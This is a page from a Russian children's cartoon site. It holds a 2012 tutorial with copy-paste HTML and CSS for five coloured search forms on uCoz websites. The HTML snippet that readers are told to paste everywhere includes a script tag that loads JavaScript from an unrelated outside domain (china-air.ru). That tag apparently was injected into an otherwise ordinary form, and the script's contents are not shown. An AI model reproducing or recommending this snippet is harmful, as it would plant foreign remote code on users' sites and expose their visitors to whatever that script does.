Четверг, 25.05.2017, 10:05
Приветствую Вас Гость | RSS
moymult-fon-image_1 moymult-fon-image_2-1
Русские

Советские мультфильмы

Российские мультфильмы

Российские мультсериалы

Зарубежные

Зарубежные мультфильмы

Зарубежные мультсериалы

Развивающее видео

Методика Г. Домана

Методика Е. Железновой

Методика М. Монтессори

Беби Эйнштейн /Baby Einstein

Бэби Гурман / Baby Gurmet

Baby 2

Hello, Kitty!

Гениальный ребенок / Brainy baby

Fisher Price Baby Collection

Классический ребенок /Classical baby

Я все могу

Профессор Карапуз

Умный ребенок / BABY IQ

ДиВиДи МЭДЖИК / DVD MAGIQ TINY LOVE

Nick Jr Baby Curious Buddies

Школа раннего развития

Малыш Гений / Baby Genius

Учимся с Хрюшей и...

Забавная математика для малышей

Телепузики / Teletabbies

Детские телепередачи

Еще из раздела "Развивающее видео"

Фильмы

BBC. Твои веселые друзья зверята

BBC. Прогулки с динозаврами

Фильмы для детей

Разное для детей

Программы и игры (PC)

Интерактивные DVD (игры для DVD-плеера)

Песни и музыка для детей

Детские аудиокниги

Стихи

Книги, журналы, раскраски для детей

Школьные учебники и пособия

Для мобилки и КПК

Видео и мультфильмы для телефонов, iPod, iPhone

Игры для телефонов, iPod, iPhone

Книги для телефонов, iPod, iPhone

Для мам, пап, бабушек, дедушек, тетей и дядей и не только...

Книги взрослым о детях

Книги взрослым о взрослых

Музыка для взрослых

Программы, игры для взрослых

Главная » 2012 » Декабрь » 28 » Формы поиска для uCoz
17:49
Формы поиска для uCoz
Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

Код
$SEARCH_FORM$


Везде ставим:

Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <input class="poick_knopka" type="submit" value="Найти" />  
  <input type="hidden" name="t" value="0" />  
  </form>


И теперь остается прописать стили!
Фиолетовая форма:

Код
/* Форма поиска фиолетовая кнопка  
------------------------------------------*/  
.poick_os {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka {  
  text-shadow: 1px 1px 1px #751a9b;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#ce36fa;  
  border:1px solid #a622e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka:hover {background:#b73cea;}  

.poick_os,  
.poick_knopka {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Синяя форма:

Код
/* Форма поиска синяя кнопка  
------------------------------------------*/  
.poick_os1 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os1 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole1 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka1 {  
  text-shadow: 1px 1px 1px #1061B0;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#36A6FA;  
  border:1px solid #2290e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka1:hover {background:#3c9fea;}  

.poick_os1,  
.poick_knopka1 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Красная форма:

Код
/* Форма поиска красная кнопка  
------------------------------------------*/  
.poick_os2 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os2 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole2 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka2 {  
  text-shadow: 1px 1px 1px #b01010;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#fa3636;  
  border:1px solid #e32222;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka2:hover {background:#ea3c3c;}  

.poick_os2,  
.poick_knopka2 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Зеленая форма:

Код
/* Форма поиска зелёная кнопка  
------------------------------------------*/  
.poick_os3 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os3 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole3 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka3 {  
  text-shadow: 1px 1px 1px #368620;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#6ae14a;  
  border:1px solid #57c939;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka3:hover {background:#65d447;}  

.poick_os3,  
.poick_knopka3 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Оранжевая форма:

Код
/* Форма поиска оранжевая кнопка  
------------------------------------------*/  
.poick_os4 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os4 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole4 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka4 {  
  text-shadow: 1px 1px 1px #865520;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#e1954a;  
  border:1px solid #c97639;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka4:hover {background:#d48347;}  

.poick_os4,  
.poick_knopka4 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}
Просмотров: 1149 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Популярные мультфильмы

Адибу: Невероятные приключения в теле человека / Adiboo Adventure

Букашки / Minuscule

Веселая радуга

Веселый счет/ Zumbers

Веселые паровозики из Чаггингтона

Волшебные путешествия Тепы

Гора самоцветов

Гуппи и Пузырики / Bubble Guppies

Даша Следопыт / Dora the Explorer

Диего, вперед! / Do, Diego, Go!

Доктор Плюшева / Doc McStuffins

Загадки Джесса / Guess with Jess

Как научить крокодила хорошим манерам

Клуб Микки Мауса / Mickey Mouse Clubhouse

Команда Умизуми / Team Umizoomi

Крот / Krtek (62 серии)

Лентяево / LazyTown. Сезоны 1,2

Маленькие Эйнштейны / Disney's Little Einsteins

Перекресток в джунглях / Jungle Junction

Пингу / Pingu

Приключения в Изумрудном городе

Сельские хлопоты / Macdonald's Farm

ТуТиТу / TuTiTu. Сезоны 1-3

Уроки тетушки Совы

Шарлотта Земляничка / Strawberry Shortcake

Новое на сайте
Первый звонок  / Стольниц М.  / 1964Первый звонок / Стольниц М. / 1964
     
Стихи русских поэтов  / Коллектив  / 2005Стихи русских поэтов / Коллектив / 2005
     
Настольные логопедические игры-занятия для детей 5-7 лет Ильякова Н.Е.Настольные логопедические игры-занятия для детей 5-7 лет Ильякова Н.Е.
     
Логопедия для дошкольников. В 4-х альбомах. Зуева Л.Н. и др.Логопедия для дошкольников. В 4-х альбомах. Зуева Л.Н. и др.
     
Уроки логопеда. Жукова Н.Уроки логопеда. Жукова Н.
     
Игры, загадки, стихи и скороговорки для развития речи. Трясорукова Т.П.Игры, загадки, стихи и скороговорки для развития речи. Трясорукова Т.П.
     
Легкий способ научиться правильно говорить и писать. Дефекты произношения. Дислексия. Дисграфия. Парамонова Л.Г.Легкий способ научиться правильно говорить и писать. Дефекты произношения. Дислексия. Дисграфия. Парамонова Л.Г.
     


 
Все файлы, размещенные на сайте Moymult.ru найдены в интернете в свободном доступе или присланы пользователями сайта и представлены исключительно с целью предварительного ознакомления без преследования коммерческой выгоды. Любое коммерческое и иное использование, кроме ознакомления, запрещено. 

Уважаемым авторам и владельцам авторских прав:

Если распространение какого-либо материала через наш сайт ущемляет Ваши авторские права, пожалуйста, сообщите администрации сайта об этом через "обратную связь", и ссылки для скачивания будут незамедлительно удалены
 
Яндекс.Метрика